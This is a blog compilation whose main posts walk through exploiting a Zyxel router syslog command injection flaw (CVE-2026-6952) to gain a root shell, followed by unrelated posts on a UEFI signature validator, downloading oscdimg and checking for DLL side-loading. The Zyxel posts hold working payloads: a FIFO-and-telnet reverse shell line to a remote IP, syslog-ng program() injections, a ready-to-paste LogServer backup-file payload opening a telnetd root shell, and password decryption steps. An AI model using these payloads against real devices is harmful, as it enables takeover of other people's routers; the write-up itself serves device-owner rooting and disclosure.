2026-09-16

Zyxel: How we got there

Preamble 

This is a follow up on the previous post where I documented how to practically exploit CVE-2026-6952 for affected Zyxel devices, and IMO, the more interesting part of all of it is how we got there in the first place.

As an Open Source zealot and user freedom/privacy advocate, I am actually using a non-Zyxel device running OpenWRT as my fibre modem (in part so that, my ISP, or, much worse, some attacker, the day they are inevitably hacked, will not be able to easily gain access to my home network though TR-069 or any of the other crap that ISPs are a bit too eager to slide into their provisioned modems). However, I very recently upgraded my fibre connection and, as a result, got sent a brand new Zyxel EE3301-00 router along with a WE3300-00 extender, by said ISP, which of course, I had to take a look at.

Now, though it can obviously not compete with OpenWRT, I found that the appliance was actually not as dreadful as I feared it would be, and I could actually almost see myself using it as designed by its manufacturer, provided it could also act as an NTP server (rather than an NTP client only -- OpenWRT provides that as an option by default, why neuter it?), offer DoH (DNS over HTTPS), have a more comprehensive way of blocking ads (rather than a very limited blocklist where you have to add each site you want to block individually - ugh!) and of course, the means to disable all the snooping/remote access protocols like TR-069 and ISP Web UI access from the WAN. And since I was also able to test the Mesh feature on that device, which I was originally quite sceptical about, I must say that the MPro Mesh does look quite convenient indeed. So, well done here, Zyxel...

However, this is still a super-locked device, and if you know me, you know that I sure don't like having any computing devices in my home (including "smart" TVs) for which I don't have full root access, because, well, I didn't go into FLOSS in order to take being arbitrarily restricted or deprived of my freedoms lightly... Which means that I am not planning to use this shiny new fibre modem any time soon, and will stick to a device that has vanilla OpenWRT support, thank you very much.

Still, if my OpenWRT router has an issue, or if my fibre line ever gets down, I might have some temporary need for that router. But, again, there's no way in hell I'm going to allow remote TR-069 or HTTPS access unless the ISP first asks for my permission, as should inherently always be the case, no matter how companies want to delude themselves (as Sony currently wants to do with game ownership) that physical equipment, that they might once have issued, but that now resides on a consumer's premises, grants them the right to do whatever they please whilst violating said consumer's rights to both ownership and privacy.

In short, the minute I saw on the Zyxel product page that the device featured prominent TR069/TR-269 management for the ISP (including regularly sending "insights" about your home network) was the minute I knew I had to gain full root access on that device to be able to disable it, if I ever was to actually use that modem for its designated purpose. Plus, I do have some hope that vanilla OpenWRT will be ported to it eventually (especially, as we discovered, that device is already running a locked down OpenWRT behind the scenes), so I might as well take a closer look on how to be granted full access, and publish our findings, to make that happen sooner.

Zeroing in on the exploit

Looking for ways to gain root access, we quickly found this blog post by Thomas Rinsma, that explained how, in 2020, it was actually possible on a whole slew of Zyxel devices. Alas, with credits to Zyxel for doing something about these, the vulnerabilities being exploited there have long been patched, so the methods described there were NO_GO.

Luckily, and very tantalizingly, since we were now on the hunt for other vulnerabilities that might be exploited in a similar vein, we came across the CVE-2026-6952 advisory from Zyxel themselves, where my model and firmware version were crucially listed as affected, that tersely described a:

post-authentication command injection vulnerability in the "LogServer" field of the syslog component

Obviously however, neither Zyxel nor any of the other sites reporting of the CVE are not going to give you the full details, or a PoC you can try, so that isn't much to start with.

There is however a world of difference between knowing that an exploitable vulnerability exists, and where it resides, and hoping that one might exist.

So, let's take a look at what we have. Well, there's really only one possible field that the vulnerability can refer to, and that has to be the SysLog Server field.

Okay, so let's try the "; TF=$(mktemp -u); mkfifo $TF && telnet 192.168.1.60 1337 0<$TF | bash 1>$TF ;# trick there...

Ouch! Zyxel seem to have learned their lesson and don't allow special characters. Not a good start...

However, we're not giving up that easily, and, after a bit of research, we find this post, that explains that the string sanitization is not being performed on the device itself, but by the JavaScript running on the browser, and therefore, said sanitization can be bypassed...

And sure enough, after a bit of crash course in how to use the JavaScript debugger in the browser (since I am not a security researcher and don't tend to deal with anything JS) we find that by adding a breakpoint in app.js to the SpecialCharactersCheckFunc after the s = this.$store.state.guiFlag.BlockChar line, and then using the debugger to set s = "", we are able to enter whatever we want in that field. Good.

However, the "close double quotes + semicolon + arbitrary command that runs as root" trick does not appear to work, which we can confirm by issuing a ping to a Raspberry Pi box plugged into the same isolated network (with IP address 192.168.1.60), where we tcpdump ICMP traffic, and which stays desperately silent.

Drats! The days of easy arbitrary command execution appear to be well over, and Zyxel is going to make us work for it...

Figuring out the syslog server

Okay, let's switch strategy here. How about we first get remote syslog going, so that we get the hang of how this whole syslogging thing works. Now, whereas we could also have installed a remote syslog client on the Pi (or used a simple netcat), I actually used another Windows laptop (residing at 192.168.1.192), plugged on the same isolated network, where I promptly installed Visual Syslog Server and validated that I could indeed get remote logging output from the Zyxel router.

So, since it is likely that we are playing with a syslog server conf file, if we can figure out what type of syslog server executable Zyxel use on their device, we might be able to figure how to format our LogServer string, to keep the underlying syslog server software happy whilst breaking out of its config jail to execute commands.

And this is actually the part where I wasted the most time, because, whereas the syslog server candidates were few (asserting that Zyxel did not create their own syslog server but picked or derived an existing UNIX/Linux implementation), the first thing I told to myself was "Seeing that syslog-ng is a full-fledged server application for regular, non-embedded Linux, there is no way Zyxel are going to go with that one, as they are bound to want to use a more lightweight option".

So, of course, it turns out that syslog-ng was the syslog software Zyxel used (on account that this is what OpenWRT uses), and I spent about a day on a wild goose chase, trying to break out of syslog server config syntaxes that did not apply. It is only after I eventually saw syslog-ng explicitly mentioned in the package list, for a different Zyxel gateway, that I considered probable that Zyxel was actually using syslog-ng.

From there, a quick look at the syntax of the syslog-ng.conf file tells us that the "override-and-discard" we are after should look something like:

<IP>" <some stuff> ); }; #
 

Okay, so, let's first confirm that we are indeed dealing with syslog-ng.conf by entering the following:

192.168.1.192" port(514)); }; #
 

Apply... and our remote syslog continues to receive messages from the Zyxel box. Looks like this confirms syslog-ng usage and our syntax rules. But what remains to be seen is if we can set arbitrary stuff. So let's try to change the port number on the Zyxel router with:

192.168.1.192" port(515)); }; #
 

And now, if we change the port to 515 on our client... YAY!!! We are getting the router's syslog message on the new port we set. So, we do indeed have our syntax, and we do have some form of control!

However, depending on how syslog-ng configures its remote sinks, there's still no guarantee that we'll be able to do more than change the port or whichever parameters syslog-ng grants you the ability to change in a config file...

"Greetings, Program"

Looking at the syslog-ng conf doc, there is however a command that looks very promising, and that seems to be usable when setting up a sink. And that is the program() command.

Okay, so how about we actually try to run some stuff:

192.168.1.192" port(514)); program("/bin/ping -c 1 192.168.1.60"); }; #
 

Amazing! tcpdump on the Pi suddenly comes alive and reports that we get loads of pings. Much more than we actually anticipated, as we thought we'd get a single ping whenever a new log message is issued, but instead we are seeing an unending continuous stream.

At this stage we could just pack and go home. Because, from there, we have uncovered the way to run arbitrary commands, and, even if we still have tons more work to do, this is practically GAME OVER, because we can run stuff, of our choosing, on the device. But we are already home, so we might as well continue.

And the ping-flood method also gives us a great way to validate the paths of the files we need, because:

192.168.1.192" port(514)); program("[ -f /etc/passwd ] && ping -c 1 192.168.1.60"); }; #
 
Returns loads of pings, as expected, but if we alter it to /etc/i-dont-exist, we don't get them. So we can indeed validate paths.

Let's play then:
192.168.1.192" port(514)); program("[ -f /usr/bin/nc ] && ping -c 1 192.168.1.60"); }; #
 
Yup, we have netcat. However:
192.168.1.192" port(514)); program("[ -f /usr/bin/telnet ] && ping -c 1 192.168.1.60"); }; #
 
and all the variations we can think of for the location of telnet return nothing. So a variation of the telnet command isn't going to work.

There is a /usr/bin/ssh though:

192.168.1.192" port(514)); program("[ -f /usr/bin/ssh ] && ping -c 1 192.168.1.60"); }; #
 

but (after we played with it for a while) it doesn't seem to support reverse connection. Okay, so let's circle back to using netcat to try to establish a connection.

Now, one of the small issues we have, as evidenced with the ping flood, is that the commands we set seem to be running continuously, so, if we are going to start running network connection instances, we don't to start an unlimited number of them, and bring the system to a crawl. So we need a way to run commands in a one-off way, which (after validating it through the ping command) we can simply do by having the shell command we issue first test if a file exists and if not, creating it before we run our command. In other words, we want to try:

192.168.1.192" port(514)); program("[ ! -f /tmp/02 ] && { touch /tmp/02; /usr/bin/nc 192.168.1.60 514; }"); }; #
 

Hmmm, okay, now, alongside the Windows one, we are also receiving the syslog data on our Pi with nc -lvnp 514 host. Not exactly what I wanted or expected, so we might have to drop netcat. Which brings us to...

192.168.1.192" port(514)); program("[ -f /usr/sbin/telnetd ] && ping -c 1 192.168.1.60"); }; #
 

Loads of pings... Now THAT is interesting!

The telnet route

A first attempt (where we also drop the pretence of trying to keep a working syslog server by just using 0.0.0.0 for the IP and no port) with:

0.0.0.0");program("[ ! -f /tmp/03 ] && { touch /tmp/03;/usr/sbin/telnetd -p 1337; }");};#
 

does give us a telnet server on port 1337... but we get the same treatment as the normal telnet and, since we don't have any other logon credentials, we only get the same ZySH> prompt, which is useless and which we would get on the default telnetd server that's already running on port 23.

Okay, so how about:

0.0.0.0");program("[ ! -f /tmp/04 ] && { touch /tmp/04;/usr/sbin/telnetd -l /bin/ash -p 1338; }");};#
 

NB: Obviously, we have to change the telnet port on each of these attempts, since the other instance will still be running.

Hmm, now we are getting:

root@pi4:~# telnet 192.168.1.1 1338
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

/bin/ash: can't open '192.168.1.60': No such file or directory
Connection closed by foreign host.

when we try to connect. Small progress, but still no shell.

According to Claude, this is because we need to have an exec /bin/ash script to execute, that'll strip the first parameter that's passed to the shell. After a bit of searching and finding that we also have to fight against a 127 character limit for the field, we get to the 3-parter:

#1.

0.0.0.0");program("[ ! -f 192.168.1.60 ] && { echo '#!/bin/sh'>192.168.1.60;echo 'exec /bin/ash'>>192.168.1.60; }");};#
 
#2.
0.0.0.0");program("chmod +x 192.168.1.60");};#
 
#3.
0.0.0.0");program("[ ! -f /tmp/05 ] && { touch /tmp/05;/usr/sbin/telnetd -l /bin/ash -p 1339; }");};#
 

Obviously, we don't really care that the chmod command will be executed continuously, especially as it'll stop once we get to command #3.

And with this, we were able to claim the flag:

root@pi4:~# telnet 192.168.1.1 1339
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.



BusyBox v1.33.1 () built-in shell (ash)
root@EE3301-00:/tmp#

Final words 

After that, it was just a matter of refining/simplifying the commands, as well as figuring out what could be dropped, in order to provide an easy one-liner, which I am sure could be improved upon, but which is sufficiently easy enough for folks to handle in the manner which we published.

As to how we figured out the root/supervisor/bootloader password decryption, that doesn't require physical serial access, it was good old Ghidra analysis of the zloader code (since, and I really cannot stress this enough in the age of AI, even if AI companies are currently doing their darnedest to delay the inevitable, if you leave someone with one of your binary executables, then you SHOULD consider that you also have granted them full access to the source that was used to generate said executable).

Finally, as to my reasons for disclosing this information, please be very mindful that this is in no way to try to shame Zyxel, which I believe did a rather fine job, security-wise, in their modern devices, and who only got stung by good old "the more complex a system, the more likely it is for vulnerabilities to be uncovered", and, as a software developer who also got stung many time at this game, I am well placed to understand that there's just no way you can fully secure everything. Also, for every public vulnerability that gets reported against Zyxel hardware, you can be quite certain that there's most likely about 10 non-yet-disclosed/non-yet-discovered vulnerabilities that do exist in whatever equivalent non-Zyxel hardware you might currently use. So if you think that you are safe, because you are using a different brand, boy do I have news for you.

And that actually brings me to the main point for the disclosure, which is that, if I, a security amateur, was able to figure this out, then you can bet that malicious actors have been able to figure the same thing, and I see it better to disclose the manner in which a device can be exploited publicly, so that nobody gets the impression that, because details of a vulnerability are not yet known, you should be considered safe from its exploitation.

It should also be pointed out that, the only way to exploit the vulnerability is to have local physical access to the device, so it's not like a random remote attacker will suddenly be able to take control of your network device, just because these details have been made public.

But of course, the most important point, from a FLOSS advocate's perspective, is that you should be able to have full control of the software that runs on a device that is as important as your internet point of access, including the ability to replace it altogether by OpenWRT for instance (which I am hoping these posts will eventually help with) which is of course very difficult to accomplish if a manufacturer locks the bootloader and restricts root access. Therefore, you will want to know how to bypass these things.

2026-09-04

Gaining root access on Zyxel EE3301 and other vulnerable Zyxel devices

The BIG DISCLAIMER

  1. These steps worked on the devices I have, which are an EE3301-00 router running firmware V5.63(ACMU.2)C0. and a WE3300-00 extension point running firmware V5.70(ACKA.0)C0.
    While I strongly suspect that what's described below will work for all the devices/firmwares flagged as affected in the relevant Zyxel advisory, I make NO GUARANTEE that this will be the case.

  2. If you are not careful, you can easily brick your device by executing root commands. Therefore, should you choose to follow these steps, you explicitly assume ALL the risks, including potential loss of data, or the manufacturer/ISP being unwilling to service your device, or your hardware becoming irreversibly damaged. In other words, no matter of how much you may want to believe otherwise, these steps SHOULD be construed as an explicit and very deliberate breach, by you, of your device's warranty. Should you choose to proceed, you therefore tacitly agree that any servicing and/or replacement cost, subsequent to attempting to root your device, is 100% with you.

  3. I do not take any credit for finding or even figuring out how to exploit this vulnerability. The vulnerability was discovered by William Honnér, who responsibly disclosed it to Zyxel, which in turn led to the CVE-2026-6952 advisory that I used as my starting point. I had no contact whatsoever with William Honnér, be it direct or indirect, with regards to how one could practically exploit this vulnerability, which he obviously managed to perform long before I did. So, whereas all the credit for the discovery of the vulnerability should go to him, none of the blame for its actual public exploitation (which is pretty much unavoidable, once a security advisory has been published) should be directed at him.

The easy-to-execute "even my grandma could do it" steps

  1. Log in into the web console of your device and validate, from the System Info section, that, first, your Model Name is listed in the Affected model from this page, and that your Firmware version is lower than the Patch availability* version listed for the same model. If that is not the case, the exploit is unlikely to work.

  2. Click on the extended menu (The 3 horizontal bar symbol, in the top right), go to MaintenanceBackup/Restore and click the Backup button to save a backup, which you should name as Backup_Restore.json. Please make sure to add the .json extension, so that editing the text with a smart text editor that provides syntax highlighting will be easier.

  3. Now go to the directory where you saved the file, open it with a text editor of your choice, and search for the string "LogServer" (including the double quotes). There should only ONE such line in the whole file, most likely with the content "Logserver":"0.0.0.0", (but the part in quotes after "Logserver": doesn't really matter as we are going to replace it).

  4. Now replace the full Logserver line in the file with this line exactly:
    "LogServer":"0.0.0.0\");program(\"ip=192.168.1.100; [ ! -f $ip ] && { echo 'exec sh'>$ip; telnetd -l sh -p 1337; }\");};#",
     
  5. Then, in the content you just inserted, replace 192.168.1.100 above with the IP of the client machine from which you will issue telnet and save the file. On Windows, you can find your IP with ipconfig and on Linux with ip addr. Note that this is not the same as the IP of the Zyxel device (which would usually be 192.168.1.1) but the IP of your Windows, Linux or Mac machine. Unless you use the right IP, the telnet session will terminate prematurely.

  6. In the console, still in the MaintenanceBackup/Restore interface, go to Restore Configuration and click the Browse... button to select the file you just edited. Then click the Upload button and wait for the update to be applied. Your Zyxel device will reboot.

  7. Once the device has restarted fully, log back to the web console and Go to Maintenance Log Settings. Make sure Syslog Logging is set to enabled and set Mode to Remote, (NB: You may get a notice about Remote Syslog which you can ignore) then navigate to the bottom of the page and and click Apply.

  8. From a command prompt on the client machine, issue telnet 192.168.1.1 1337 (making sure to specify same telnet port as what was set for -p parameter above), and then, as you marvel at the beauty of your newly acquired BusyBox root shell, utter the obligatory "We're in...".

  9. If your device is in the list of the ones for which the KEY/IV have been extracted, as documented here, you probably also want to issue the following commands to retrieve the root/supervisor/bootloader password:
    KEY=<KEY FOR YOUR DEVICE>
    IV=<IV FOR YOUR DEVICE>
    fw_printenv | grep supervisor | cut -c 12- | openssl base64 -d | openssl enc -aes-256-cbc -nosalt -nopad -d -K $KEY -iv $IV
     


The (small) troubleshooting section

  • If you're on Windows and you get 'telnet' is not recognized as an internal or external command, you need to install it from the Turn Windows features on or off in the Program and Features of the Control Panel. Google it!

  • If you get Could not open connection to the host, on port 1337: Connect failed or Unable to connect to remote host: Connection refused it means that you either forgot to specify a port after the server IP address, or did not specify the same port as what is used for the -p parameter in the line you edited, or that you didn't enter the line properly (please pay attention to the double quotes, the backslashes and the comma at the end of the line. And do not enter a space between the = sign and your IP address), so just retry the steps and pay closer attention.

  • If you are seeing something like
    /bin/ash: can't open '192.168.1.100': No such file or directory
    after issuing the telnet command, it simply means that you didn't properly set the IP address you needed to set in the field you edited. So please edit the .json file again, make sure you set the right IP, then re-upload the file using restore configuration.

  • "I clicked the SysLog Server field after restoring the settings, and it pops a warning that says It is impossible to enter special characters."
    Well, did I tell you to do that...? Just close the browser and don't touch that field!

The suggested next steps

  1. Edit /tmp/var/home/root/zcfg_config.json and add your SSH public key to the SshKeyBaseAuthPublicKey field you should easily be able identify for the root account. This key will be persisted across reboot/poweroff (but not if you reset your device using the reset pin at the bottom). After reboot this grants you permanent root shell access through ssh and allows you to disable the telnet hack (for which you can just edit the LogServer field back to what it was using the web console.

  2. If you haven't retrieved the supervisor password above, issue passwd supervisor to override the supervisor account password. This will allow you to logon on as supervisor / <the password you set> in the web console, which will give you access to extra administration fields, such as the super intrusive TR-069 protocol that sends data and grants access to your device and home network to your ISP and that you can then disable. Note that this password will not be persisted across reboot/poweroff.

  3. (DANGEROUS) While logged as supervisor in the web console, in the backup/restore menu, you will also find a ROM-D section where you can store your current settings as the version that gets installed when you press the reset button. You may want to use that feature to permanently store your SSH public key for the root account so that, even if you go through a firmware update that patches the vulnerability as well as a platform reset, you will not lose root access. But I would strongly suggest to only save a configuration that altered the root public key, and the root public key only, while leave all the other fields as they were from defaults, just in case. This is because, you will of course be able to restore all your other settings post reset using the regular console backup/restore (including the supervisor settings, if you have root access), so there's really no need to drastically alter the default reset configuration which could have unintended effects.

The Scooby-doo villain 

With ssh sorted, since we get a nice motd greeting, we can have a look at who our Zyxel OS "villain" really is...

Well, well, well, it is none other than good old:

BusyBox v1.33.1 () built-in shell (ash)

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt 21.02.1, r16325-88151b8303
 -----------------------------------------------------
root@EE3301-00:/tmp/var/home/root#

Hardware manufacturers using much better and freer Open Source projects as their base, and doing their darnedest to restrict/limit what they do? Who could have seen it coming?

The root/supervisor password retrieval (for advanced users)

If you weren't able to get the root/supervisor password the easy way and you are like me then, even with root shell access, you really don't like the idea of having a Linux device with a root password that you don't know, especially, if it's all that stands between being able to keep root access should you update your firmware to one where the vulnerability has been fixed. Or worse (as you will have seen if you fiddled with the easily available serial port from the device) the low level bootloader access is protected.
 
Thankfully, through the good work of hack-gpon.org, this can somewhat easily be remedied, provided that you have access to the 3.3V TTL serial adapter.
 
First of all, to access the serial port on the EE3301, you just need to remove the bottom of the device by unscrewing the 4 screws that are hidden behind the bottom pads:
 

From there, you will be able to access your friendly neighborhood spider po..., I mean, serial port, for which each pin or the whole socket can relatively easily be plugged/unplugged using a pair of small pliers without having to remove the other parts of the clamshell enclosure (which I did actually remove for the purpose of this picture):

Armed with that knowledge, and your trusty 3.3V serial adapter (where you may not even have to connect the 3.3V pin, as long as you do connect the other 3 pins), and using a serial line configured with the usual 115200 8N1 settings, you are soon able to access the whole boot sequence and interact with a Linux logon prompt... for which you do not know the root password.

Worse, if you try to interrupt the very inviting autoboot, you are also prompted for a password:

ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50)
!!! Initialize nand !!!
Multiboot clinent version: 2.8

Hit any key to stop autoboot:  5
Password:
         Password:
                  Password:
                           Password:

How rude!

Thankfully, with root access, the bootloader password issue can easily be remedied (by removing it entirely). To do just that, and logged as root, you should first issue the fw_printenv command and validate that you see a line that says:

EngDebugFlag=0x0

Then, only if you see that line, you should issue the command:

fw_setenv EngDebugFlag 0x1

From there, you can reboot and, in your serial console, you will find that you can now interrupt the zloader without being prompted by a password:

ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50)
!!! Initialize nand !!!
Multiboot clinent version: 2.8

Hit any key to stop autoboot:  5
ZHAL>

Now we're (actually) talking!

And it gets even better that that, as, in this prompt, you can issue the command atck which will give you the root/supervisor password you are after:

ZHAL> atck
supervisor password: 7DU(su]#-v
admin password     : 4rS8+$7]
WiFi PSK key       : 4I3g@oN(78

(NB: Obviously, these are not my actual device passwords, but passwords, of the type Zyxel uses, that I generated online for the purpose of this example).

Then, once you have saved your passwords, you can exit zloader and reboot the device with the command atsr.

Now, even if you reset the firmware to defaults (using the reset button) or upgrade it to a non vulnerable version (since there's no way Zyxel will update root/supervisor passwords that people rely on while fixing vulnerabilities), you will still have root access. And you will also have access to the supervisor account for the web console. Isn't it great?

The better way

"You know you can also get root without using save/restore and without having to reboot the device?"

Yes, I know. That's how I initially did it. And I am actually planning to document this in a subsequent post, titled "Zyxel: How we got there", which, IMO, will contain the more interesting part since it will detail the full trial and error process we went through for figuring out the exploit. However, adding JavaScript breakpoints and overriding JavaScript variables on the console is a bit more involved than editing a simple JSON text file, so that's why, whereas there does exist a more immediate way to get root, we chose simplicity over "l33t skillz".

2026-01-14

authval.py - A python script to validate Secure Boot signed auth variables

Since I had the displeasure of fighting broken/quirky/limited UEFI Firmware implementations, as part of Mosby, and had to double check whether a signed Secure Boot authvar should be accepted as valid.

Usage ./authval.py <var.auth> where var.auth should start with PK, KEK, DB or DBX according to the variable you are trying to check (so that we automatically fill GUID and attributes for the signed payload). Also note that APPEND is assumed for all variables, except PK.

#!/bin/env python3
# authval.pl - A Python script to validate Secure Boot signed auth variables
# Copyright 2026 Pete Batard <pete@akeo.ie> - GPL v3 or later

import re
import argparse
import struct
import uuid
from datetime import datetime, timezone

from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from asn1crypto import cms, x509 as asn1_x509

def guid_to_bytes(g):
    """Convert GUID string to EFI little-endian byte order"""
    u = uuid.UUID(g)
    return struct.pack("<IHH8s", u.time_low, u.time_mid, u.time_hi_version, u.bytes[8:])

def utf16le_no_null(s):
    return s.encode("utf-16le")

def parse_authentication_2(data):
    efi_time = data[:16]
    cert_hdr = data[16:16+24]

    length, revision, cert_type = struct.unpack("<IHH", cert_hdr[:8])
    cert_guid = uuid.UUID(bytes_le = cert_hdr[8:24])

    cert_data = data[16+24:16+length]
    payload_offset = 16 + length
    payload = data[payload_offset:]

    return efi_time, cert_data, payload

def build_signed_data(variable_name, vendor_guid, attributes, efi_time, variable_payload):
    buf = b""
    buf += utf16le_no_null(variable_name)
    buf += guid_to_bytes(vendor_guid)
    buf += struct.pack("<I", attributes)
    buf += efi_time
    buf += variable_payload
    return buf

def load_pkcs7_signed_data(pkcs7_der):
    try:
        ci = cms.ContentInfo.load(pkcs7_der)
        if ci['content_type'].native != 'signed_data':
            print(f"ERROR: PKCS#7 ContentType is set to '{ci['content_type'].native}'. UEFI specs requires 'signed_data'.")
            return None
        else:
            print("WARNING: PKCS#7 ContentType is set, but a longstanding EDK2 bug may lead some platforms to reject it!")
            print("For more on this, see https://github.com/tianocore/edk2/commit/37d3eb026a766b2405daae47e02094c2ec248646.")
        return ci['content']
    except Exception:
        # Bare content. *NOT* actually specs-compliant (at least for UEFI v2.3.1), but due to
        # an implementation bug in EDK2's VerifyTimeBasedPayload(), became de-facto standard,
        # especially as Microsoft, who did notice the bug, but never bothered to report it to
        # the EDK2, *like the good UEFI Secure Boot stewards they are*, dropped ContentType
        # from all the DBX updates they published...
        sd = cms.SignedData.load(pkcs7_der)
        # Wrap it to normalize handling
        ci = cms.ContentInfo({
            'content_type': 'signed_data',
            'content': sd
        })
        return ci['content']

def validate_uefi_variable(variable_blob, variable_name, vendor_guid, attributes):
    efi_time, pkcs7, variable_payload = parse_authentication_2(variable_blob)

    signed_data = build_signed_data(variable_name, vendor_guid, attributes, efi_time, variable_payload)

    try:
        signed_data_obj = load_pkcs7_signed_data(pkcs7)
        signer = signed_data_obj['signer_infos'][0]
    except Exception:
        return
    # Extract signer certificate from embedded certs
    certs = [
        cert.chosen for cert in signed_data_obj['certificates']
        if isinstance(cert.chosen, asn1_x509.Certificate)
    ]

    # Match signer by serial number
    serial = signer['sid'].native['serial_number']
    signer_cert = next(c for c in certs if c.serial_number == serial)

    # Load with cryptography
    cert = x509.load_der_x509_certificate(signer_cert.dump())
    pubkey = cert.public_key()

    digest_algo = signer['digest_algorithm']['algorithm'].native
    msg = "ERROR: Signature is INVALID!"
    if digest_algo == 'sha256':
        hash_alg = hashes.SHA256()
        signature = signer['signature'].native
        try:
            pubkey.verify(signature, signed_data, padding.PKCS1v15(), hash_alg)
            msg = "Signature is valid"
        except Exception:
            pass
    else:
        msg = f"Signature uses invalid algorithm: {digest_algo}"

    print("Signer cert subject:", cert.subject)
    print("Signer cert issuer :", cert.issuer)
    print("Signer serial num  :", cert.serial_number)
    print(msg)

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("file", help="signed authvar")
    args = vars(ap.parse_args())

    if re.search('PK', args['file'], re.IGNORECASE):
        var_guid = "8be4df61-93ca-11d2-aa0d-00e098032b8c"
        var_name = "PK"
        var_attr = 0x27 # NV_BS_RT_AT
    elif re.search('KEK', args['file'], re.IGNORECASE):
        var_guid = "8be4df61-93ca-11d2-aa0d-00e098032b8c"
        var_name = "KEK"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    elif re.search('DBX', args['file'], re.IGNORECASE):
        var_guid = "d719b2cb-3d3a-4596-a3bc-dad00e67656f"
        var_name = "dbx"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    elif re.search('DB', args['file'], re.IGNORECASE):
        var_guid = "d719b2cb-3d3a-4596-a3bc-dad00e67656f"
        var_name = "db"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    else:
        print(f"'{args['file']}' is either missing a Secure Boot variable identifier (PK, KEK, DB, DBX)")
        print(f"in its name, or is not one of the Secure Boot variables we support for validation.")
        sys.exit(1)

    with open(args['file'], "rb") as f:
        variable_blob = f.read()

    print(f"Detected '{var_name}' - Using GUID: {var_guid} and ATTRS: {var_attr:#0x}")

    validate_uefi_variable(
        variable_blob=variable_blob,
        variable_name=var_name,
        vendor_guid=var_guid,
        attributes=var_attr
      )

2025-06-13

Downloading oscdimg.exe from Microsoft

In their typical fashion, unless you know what you're doing, Microsoft made it incredibly difficult to get your hands on a simple basic executable, that they should by all means provide as an easily accessible download, since it's one of the basic utility you may want to have at hand to create an ISO from a bunch of files and directory.

Well, we know what we're doing, which is to use a very handy technique that we picked up from actual malware, so, from PowerShell:

 
curl.exe -L -A "Microsoft-Symbol-Server/10.0.0.0" https://msdl.microsoft.com/download/symbols/oscdimg.exe/688CABB065000/oscdimg.exe -o oscdimg.exe
 

There. Now you have oscdimg and you can get on with your life without having to download gigabytes of extra garbage.

Oh and to create an ISO using a Windows command prompt from this very handy tool: 

 
oscdimg -g -h -k -m -u2 -udfver102 -l"My Image" C:\tmp\image\ C:\tmp\image.iso
 

What, I'm repeating myself? No I'm not repeating myself.
What, I'm repeating myself?

Oh, and since I am feeling generous today, I might as well provide you with a Python script that allows you to generate the URL on your own, from any Microsoft PE executable: 

#!/bin/env python3

# This script generates the debug server URL from a Microsoft PE executable, which
# then allows you to download it directly from Microsoft. Use this URL in:
#
#   curl.exe -L -A "Microsoft-Symbol-Server/10.0.0.0" <URL> -o <EXE_NAME>

import os
import sys
import pefile

def build_symbol_server_url(pe_path):
    # Get the filename
    exe_name = os.path.basename(pe_path)
    
    # Load the PE file
    pe = pefile.PE(pe_path)
    
    # Extract TimeDateStamp and SizeOfImage
    time_date_stamp = pe.FILE_HEADER.TimeDateStamp
    size_of_image = pe.OPTIONAL_HEADER.SizeOfImage
    
    # Build the hex part (TimeDateStamp: 8 hex digits, SizeOfImage: uppercase hex, no leading zeros removed)
    hex_part = '{:08X}{:X}'.format(time_date_stamp, size_of_image)
    
    # Construct the URL
    url = f"https://msdl.microsoft.com/download/symbols/{exe_name}/{hex_part}/{exe_name}"
    return url

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <path_to_pe_file>")
        sys.exit(1)
    pe_path = sys.argv[1]
    try:
        url = build_symbol_server_url(pe_path)
        print(url)
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

2025-02-18

Checking for DLL side-loading vulnerabilities in Windows applications

Alas, despite this issue being one of the most common plague of win32 applications, and Microsoft having had all the time in the world to make it go away, through the simple use of an application manifest that would tell the Windows loader to just disable looking for DLLs in the current application directory ever (because, believe it or not, some people do design self-contained executables that do not require loading anything else but system DLLs), application developers like yours truly still have to go through the utter annoyance of having to check whether their executable is potentially subject to DLL side-loading exploitation.

So, let's say you want to find out if Rufus is subject to side-loading. To do that, just download an run ProcMon and apply the following filters:

  • Process Name contains rufus
  • Operation is CreateFile
  • Result contains NAME NOT FOUND

Oh and since ProcMon is rather heavy on the system (since it monitors everything in real-time), you probably want to pause it until you are actually ready to run the app.

Then, while ProcMon is running, launch the Rufus executable and look for any request (CreateFile) for a DLL to be loaded in the current application directory.

With Rufus 4.6, it turns out that we have one for cfgmgr32.dll:

Ouch!

What this means is that, if someone somehow managed to take control of your unprivileged user account or the location where the executable resides, they could drop a malicious cfgmgr32.dll that could run whatever elevated code they wish.

Granted, if someone already has that level of access to a Windows machine, then they probably don't need to wait for the user to run Rufus to be able to execute elevated code, because, well, if you do have user level access on Windows, it's pretty much game over already. But still, Rufus should not allow an untrusted DLL to be loaded from the application directory.

Now, I'll spare you the details on how MinGW delay-loading, which we previously used to avoid this exact issue with other DLLs, somehow just won't work with cfgmgr32 (and yes, that is after making sure we use __attribute__((visibility("hidden"))) for DECLSPEC_IMPORT since MinGW/binutils still have not sorted proper delay loading for gcc despite repeated pleas for them to do so on account that this leads to widespread security issues), but suffice to say that, this issue has been fixed in Rufus 4.7:

Much better!

Still, this stupid issue of DLL side-loading could easily have been fixed by Microsoft ages ago by providing applications developers with the ability to indicate that an executable should never ever load DLLs from the current/application directory. Yet it seems that, not happy to leave a glaring easily exploitable vulnerability in Windows, Microsoft actually backpedalled on an option they had originally added to SetDllDirectory(), where passing "" as a parameter was designed to remove the loading of DLLs from current user directories. If you look at the SetDllDirectory documentation now, you will see that this mode of operation, which I did quote verbatim in Rufus at the time (If the parameter is an empty string (""), the call removes the current directory from the default DLL search order) is mysteriously absent, though it is still somehow currently mentioned in Microsoft's doc for Dynamic-Link Library Security.

And people wonder why Windows apps have a bad reputation when it comes to security issues... 


